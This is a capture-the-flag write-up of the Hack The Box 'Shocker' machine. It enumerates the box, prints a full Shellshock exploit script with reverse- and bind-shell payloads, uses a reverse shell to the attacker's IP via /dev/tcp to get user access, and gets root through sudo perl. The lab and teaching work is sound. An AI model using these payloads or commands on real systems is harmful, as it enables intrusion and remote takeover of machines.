---
search:
  exclude: true
---
# Shocker Writeup

![](img/13.png)

## Introduction :

Shocker is an easy Linux Box released back in September 2017. It features the well known shellshock vulnerability.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      λ nihilist [ 10.10.14.48/23 ] [~] → nmap 10.10.10.56 -sC -sV
      Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-16 10:12 CET
      Nmap scan report for 10.10.10.56
      Host is up (0.065s latency).
      Not shown: 998 closed ports
      PORT     STATE SERVICE VERSION
      80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
      |_http-server-header: Apache/2.4.18 (Ubuntu)
      |_http-title: Site doesnt have a title (text/html).
      2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
      | ssh-hostkey:
      |   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
      |   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
      |_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 9.43 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap result tells us that port 80 seems to be serving an Apache httpd 2.4.18 service, let's see if we can dig in a little more information...
    
    
      λ nihilist [ 10.10.14.48/23 ] [~] → curl -vsk http://10.10.10.56/
    *   Trying 10.10.10.56:80...
    * TCP_NODELAY set
    * Connected to 10.10.10.56 (10.10.10.56) port 80 (#0)
    > GET / HTTP/1.1
    > Host: 10.10.10.56
    > User-Agent: curl/7.67.0
    > Accept: */ *
    >
    * Mark bundle as not supporting multiuse
    < HTTP/1.1 200 OK
    < Date: Sat, 16 Nov 2019 09:25:00 GMT
    < Server: Apache/2.4.18 (Ubuntu)
    < Last-Modified: Fri, 22 Sep 2017 20:01:19 GMT
    < ETag: "89-559ccac257884"
    < Accept-Ranges: bytes
    < Content-Length: 137
    < Vary: Accept-Encoding
    < Content-Type: text/html
    <
    <****!DOCTYPE html> <****html> <****body> <****h2>Dont Bug Me!** h2>
    <****img src="bug.jpg" alt="bug" style="width:450px;height:350px;"> <****/body> <****/html>
    * Connection #0 to host 10.10.10.56 left intact

Looking at the results , the URL http://10.10.10.56/ doesnt seem to yield that much results. Let's run the dirbusting command **dirb** to try to find out which directories are being hosted by the httpd service.
    
    
    λ nihilist [ 10.10.14.48/23 ] [~] → dirb http://10.10.10.56/
    
    -----------------
    DIRB v2.22
    By The Dark Raver
    -----------------
    
    START_TIME: Sat Nov 16 10:23:02 2019
    URL_BASE: http://10.10.10.56/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    
    -----------------
    
    GENERATED WORDS: 4612
    
    ---- Scanning URL: http://10.10.10.56/ ----
    + http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)
    + http://10.10.10.56/index.md (CODE:200|SIZE:137)
    + http://10.10.10.56/server-status (CODE:403|SIZE:299)
    
    -----------------
    END_TIME: Sat Nov 16 10:26:12 2019
    DOWNLOADED: 4612 - FOUND: 3
    

Dirbuster returned with 2 interesting results : /cgi-bin/  /server-status Although both of these seem to be returning the 403 Forbidden error. Let's see if we can find any good results within the /cgi-bin/ for example a .sh file, we will use dirbuster one more time using the common files txt wordlist.
    
    
    λ root [ 10.10.14.48/23 ] [share/wordlists/dirb] → curl -vsk https://raw.githubusercontent.com/digination/dirbuster-ng/master/wordlists/common.txt > common.txt
    λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → dirb http://10.10.10.56/cgi-bin/ -w /usr/share/dirb/common.txt -X .sh
    
    -----------------
    DIRB v2.22
    By The Dark Raver
    -----------------
    
    START_TIME: Sat Nov 16 10:52:59 2019
    URL_BASE: http://10.10.10.56/cgi-bin/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    OPTION: Not Stoping on warning messages
    EXTENSIONS_LIST: (.sh) | (.sh) [NUM = 1]
    
    -----------------
    
    GENERATED WORDS: 4612
    
    ---- Scanning URL: http://10.10.10.56/cgi-bin/ ----
    + http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118)
    
    -----------------
    END_TIME: Sat Nov 16 10:56:07 2019
    DOWNLOADED: 4612 - FOUND: 1
    

Dirbuster found the user.sh file within the /cgi-bin/ folder ! Let's download it using the **wget** command, and print out it's content.
    
    
    λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → wget http://10.10.10.56/cgi-bin/user.sh
    --2019-11-16 10:56:29--  http://10.10.10.56/cgi-bin/user.sh
    Connecting to 10.10.10.56:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [text/x-sh]
    Saving to: ‘user.sh’
    
    user.sh                           [ <=>                                             ]     118  --.-KB/s    in 0.001s
    
    2019-11-16 10:56:29 (195 KB/s) - ‘user.sh’ saved [118]
    
    
    λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → cat user.sh
    Content-Type: text/plain
    
    Just an uptime test script
    
     04:58:44 up  2:11,  0 users,  load average: 0.01, 0.00, 0.00
    
    

This seems to ring a bell, this may in fact be the shellshock vulnerability !  We run a quick **searchsploit** to find which exploit number corresponds to the shellshock CVE.
    
    
      λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → searchsploit shellshock
    ------------------------------------------------------------------------------ ----------------------------------------
     Exploit Title                                                                |  Path
                                                                                  | (/usr/share/exploitdb/)
    ------------------------------------------------------------------------------ ----------------------------------------
    Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection ( | exploits/cgi/remote/38849.rb
    **Apache mod_cgi - 'Shellshock' Remote Command Injection                        | exploits/linux/remote/34900.py**
    Bash - 'Shellshock' Environment Variables Command Injection                   | exploits/linux/remote/34766.php
    Bash CGI - 'Shellshock' Remote Command Injection (Metasploit)                 | exploits/cgi/webapps/34895.rb
    Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock)             | exploits/hardware/remote/39568.py
    GNU Bash - 'Shellshock' Environment Variable Command Injection                | exploits/linux/remote/34765.txt
    IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit | exploits/cgi/remote/39918.rb
    NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock)                  | exploits/cgi/webapps/40213.txt
    OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection                        | exploits/linux/remote/34879.txt
    PHP < 5.6.2 - 'Shellshock' Safe Mode / Disable Functions Bypass / Command Inj | exploits/php/webapps/35146.txt
    Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection           | exploits/linux/remote/34896.py
    RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection         | exploits/linux/local/40938.py
    Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Inject | exploits/cgi/webapps/39887.txt
    TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Com | exploits/hardware/remote/40619.py
    dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock)       | exploits/linux/remote/36933.py
    ------------------------------------------------------------------------------ ----------------------------------------
    Shellcodes: No Result
    

Seems like the exploit n° 34900 corresponds to the box that we have, Apache, mod_cgi, Shellshock let's run a quick locate and cp command to copy the script onto our current directory for further inspection.
    
    
    λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → locate 34900.py
    /usr/share/exploitdb/exploits/linux/remote/34900.py
    
    λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → cp  /usr/share/exploitdb/exploits/linux/remote/34900.py .
    
    λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nano 34900.py
    

Here is the official python script that we could be using : 
    
    
    #! /usr/bin/env python
    from socket import *
    from threading import Thread
    import thread, time, httplib, urllib, sys
    
    stop = False
    proxyhost = ""
    proxyport = 0
    
    def usage():
            print ("""
                    Usage : python2 exploit.py payload=reverse rhost= lhost= lport= pages=cgi-bin/user.sh
            """)
            sys.exit(0)
    
    def exploit(lhost,lport,rhost,rport,payload,pages):
            headers = {"Cookie": payload, "Referer": payload}
    
            for page in pages:
                    if stop:
                            return
                    print ("[-] Trying exploit on : "+page)
                    if proxyhost != "":
                            c = httplib.HTTPConnection(proxyhost,proxyport)
                            c.request("GET","http://"+rhost+page,headers=headers)
                            res = c.getresponse()
                    else:
                            c = httplib.HTTPConnection(rhost)
                            c.request("GET",page,headers=headers)
                            res = c.getresponse()
                    if res.status == 404:
                            print( "[*] 404 on : "+page)
                    time.sleep(1)
    args = {}
    
    
    for arg in sys.argv[1:]:
            ar = arg.split("=")
            args[ar[0]] = ar[1]
    try:
            args['payload']
    except:
            usage()
    
    if args['payload'] == 'reverse':
            try:
                    lhost = args['lhost']
                    lport = int(args['lport'])
                    rhost = args['rhost']
                    payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
            except:
                    usage()
    
    elif args['payload'] == "bind":
            try:
                    rhost = args['rhost']
                    rport = args['rport']
                    payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
            except:
                    usage()
    else:
            print( "[*] Unsupported payload")
            usage()
    try:
            pages = args['pages'].split(",")
    except:
            pass
    
    if args['payload'] == 'reverse':
            serversocket = socket(AF_INET, SOCK_STREAM)
            buff = 1024
            addr = (lhost,lport)
            serversocket.bind(addr)
            serversocket.listen(10)
            print ("[!] Started reverse shell handler")
            thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))
    if args['payload'] == 'bind':
            serversocket = socket(AF_INET, SOCK_STREAM)
            addr = (rhost,int(rport))
            thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))
    
    buff = 1024
    
    while True:
            if args['payload'] == 'reverse':
                    clientsocket, clientaddr = serversocket.accept()
                    print ("[!] Successfully exploited")
                    print ("[!] Incoming connection from "+clientaddr[0])
                    stop = True
                    clientsocket.settimeout(3)
                    while True:
                            reply = raw_input(clientaddr[0]+"> ")
                            clientsocket.sendall(reply+"\n")
                            try:
                                    data = clientsocket.recv(buff)
                                    print (data)
                            except:
                                    pass
    
            if args['payload'] == 'bind':
                    try:
                            serversocket = socket(AF_INET, SOCK_STREAM)
                            time.sleep(1)
                            serversocket.connect(addr)
                            print ("[!] Successfully exploited")
                            print ("[!] Connected to "+rhost)
                            stop = True
                            serversocket.settimeout(3)
                            while True:
                                    reply = raw_input(rhost+"> ")
                                    serversocket.sendall(reply+"\n")
                                    data = serversocket.recv(buff)
                                    print( data)
                    except:
                            pass
    

If we wanted to execute the aforementionned python script, we would follow the syntax given in the script itself :  **python2 34900.py payload=reverse rhost= lhost= lport= pages=cgi-bin/user.sh** Although we will go for another, more elaborate alternative which has been developped by [ncc group](https://github.com/nccgroup/shocker). 
    
    
      λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → wget https://raw.githubusercontent.com/nccgroup/shocker/master/shocker.py
      --2019-11-16 11:28:02--  https://raw.githubusercontent.com/nccgroup/shocker/master/shocker.py
      Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
      Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133
      Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected.
      HTTP request sent, awaiting response... 200 OK
      Length: 17942 (18K) [text/plain]
      Saving to: ‘shocker.py’
    
      shocker.py                                     100%[===================================================================================================>]  17.52K  --.-KB/s    in 0.02s
    
      2019-11-16 11:28:02 (828 KB/s) - ‘shocker.py’ saved [17942/17942]
    
      λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → python2 shocker.py
    
         .-. .            .
        (   )|            |
         `-. |--. .-.  .-.|.-. .-. .--.
        (   )|  |(   )(   |-.'(.-' |
         `-' '  `-`-'  `-''  `-`--'  v1.1
    
       Tom Watson, tom.watson@nccgroup.trust
       https://www.github.com/nccgroup/shocker
    
       Released under the GNU Affero General Public License
       (https://www.gnu.org/licenses/agpl-3.0.html)
    
    
      usage: shocker.py [-h] (--Host HOST | --file FILE)
                        [--cgilist CGILIST | --cgi CGI] [--port PORT]
                        [--command COMMAND] [--proxy PROXY] [--ssl]
                        [--threads THREADS] [--verbose] [--debug]
      shocker.py: error: one of the arguments --Host/-H --file/-f is required
    

As you can see it seems to have a simpler syntax for us to use. Let's test our second python script onto our target and see if we get any results. We will use the -H , --command, -c and --verbose flags.
    
    
      λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → python2 shocker.py -H 10.10.10.56 --command "/bin/cat /etc/passwd" -c /cgi-bin/user.sh --verbose
    
       .-. .            .
      (   )|            |
       `-. |--. .-.  .-.|.-. .-. .--.
      (   )|  |(   )(   |-.'(.-' |
       `-' '  `-`-'  `-''  `-`--'  v1.1
    
     Tom Watson, tom.watson@nccgroup.trust
     https://www.github.com/nccgroup/shocker
    
     Released under the GNU Affero General Public License
     (https://www.gnu.org/licenses/agpl-3.0.html)
    
    
    [+] Single target '/cgi-bin/user.sh' being used
    [+] Checking connectivity with target...
    [I] Checking to see if 10.10.10.56 resolves...
    [I] Resolved ok
    [I] Checking to see if 10.10.10.56 is reachable on port 80...
    [I] 10.10.10.56 seems reachable...
    [+] Target was reachable
    [+] Looking for vulnerabilities on 10.10.10.56:80
    [I] Starting thread 1
    [+] Finished host scan
    [+] 1 potential target found, attempting exploits
    [+] Trying exploit for http://10.10.10.56:80/cgi-bin/user.sh
    [I] Flag set to: V74T37Z64S0NDC600N7U
    [I] Header is: Content-type
    [I] Attack string is: () { :;}; echo;  echo V74T37Z64S0NDC600N7U; /bin/cat /etc/passwd
    [!] http://10.10.10.56:80/cgi-bin/user.sh looks vulnerable
    [!] Response returned was:
    
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      bin:x:2:2:bin:/bin:/usr/sbin/nologin
      sys:x:3:3:sys:/dev:/usr/sbin/nologin
      sync:x:4:65534:sync:/bin:/bin/sync
      games:x:5:60:games:/usr/games:/usr/sbin/nologin
      man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
      lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
      mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
      news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
      uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
      proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
      www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
      backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
      list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
      irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
      gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
      nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
      systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
      systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
      systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
      systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
      syslog:x:104:108::/home/syslog:/bin/false
      _apt:x:105:65534::/nonexistent:/bin/false
      lxd:x:106:65534::/var/lib/lxd/:/bin/false
      messagebus:x:107:111::/var/run/dbus:/bin/false
      uuidd:x:108:112::/run/uuidd:/bin/false
      dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
      sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
      shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash
    
    [+] The following URLs appear to be exploitable:
      [1] http://10.10.10.56:80/cgi-bin/user.sh
    [+] Would you like to exploit further?
    [>] Enter an URL number or 0 to exit: 0
    

Our exploit worked ! we have been able to print out the contents of the /etc/passwd file. Now let's try to see if we can get a reverse shell connection on our 1337th port. We start by using the **netcat** command ready with the -lvnp flags to catch the incoming connection, within a second terminal. 

_Terminal 2:_
    
    
    λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nc -lvnp 1337
    

Now all we have to do is use the previous shocker python script to tell the machine to send us a reverse shell connection on the correct port.

_Terminal 1:_
    
    
      λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Shocker] → python2 shocker.py -H 10.10.10.56 --command "/bin/bash -i > /dev/tcp/10.10.14.48/1337 0<&1 2>&1" -c /cgi-bin/user.sh --verbose
    
         .-. .            .
        (   )|            |
         `-. |--. .-.  .-.|.-. .-. .--.
        (   )|  |(   )(   |-.'(.-' |
         `-' '  `-`-'  `-''  `-`--'  v1.1
    
       Tom Watson, tom.watson@nccgroup.trust
       https://www.github.com/nccgroup/shocker
    
       Released under the GNU Affero General Public License
       (https://www.gnu.org/licenses/agpl-3.0.html)
    
    
      [+] Single target '/cgi-bin/user.sh' being used
      [+] Checking connectivity with target...
      [I] Checking to see if 10.10.10.56 resolves...
      [I] Resolved ok
      [I] Checking to see if 10.10.10.56 is reachable on port 80...
      [I] 10.10.10.56 seems reachable...
      [+] Target was reachable
      [+] Looking for vulnerabilities on 10.10.10.56:80
      [I] Starting thread 1
      [+] Finished host scan
      [+] 1 potential target found, attempting exploits
      [+] Trying exploit for http://10.10.10.56:80/cgi-bin/user.sh
      [I] Flag set to: ZS6W4FQLEFG9B7NYE0K9
      [I] Header is: Content-type
      [I] Attack string is: () { :;}; echo;  echo ZS6W4FQLEFG9B7NYE0K9; /bin/bash -i > /dev/tcp/10.10.14.48/1337 0<&1 2>&1
      [I] http://10.10.10.56:80/cgi-bin/user.sh - timed out
      [-] Not vulnerable
      [-] All exploit attempts failed
    

The script tells us that it seems to have failed, Although it seems like our second terminal recieved the connection through the 1337 port. 

_Terminal 2:_
    
    
      λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Shocker] → nc -lvnp 1337
    Connection from 10.10.10.56:38116
    bash: no job control in this shell
    
    shelly@Shocker:/usr/lib/cgi-bin$ whoami
    shelly
    
    shelly@Shocker:/usr/lib/cgi-bin$ uname -a
    uname -a
    Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
    
    shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt
    cat /home/shelly/user.txt
    2eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

That's how you get the user flag ! Now let's try to escalate privileges onto the box.

## **Part 3 : Getting Root Access**

First of all let's type the **sudo -l** command to see which commands could potentially be run as the root user.
    
    
    shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
    sudo -l
    
    Matching Defaults entries for shelly on Shocker:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User shelly may run the following commands on Shocker:
        (root) NOPASSWD: /usr/bin/perl
    

Seems like the perl command can be run as root ! let's test it.
    
    
    shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/sh";'
    sudo perl -e 'exec "/bin/sh";'
    
    whoami
    root
    

And that's it ! we now have an elevated privilege shell as the root user. All that's left to do now is to print the root flag. 
    
    
    cat /root/root.txt
    52XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

## **Conclusion**

Here we can see the progress graph :

![](img/13_graph.png)

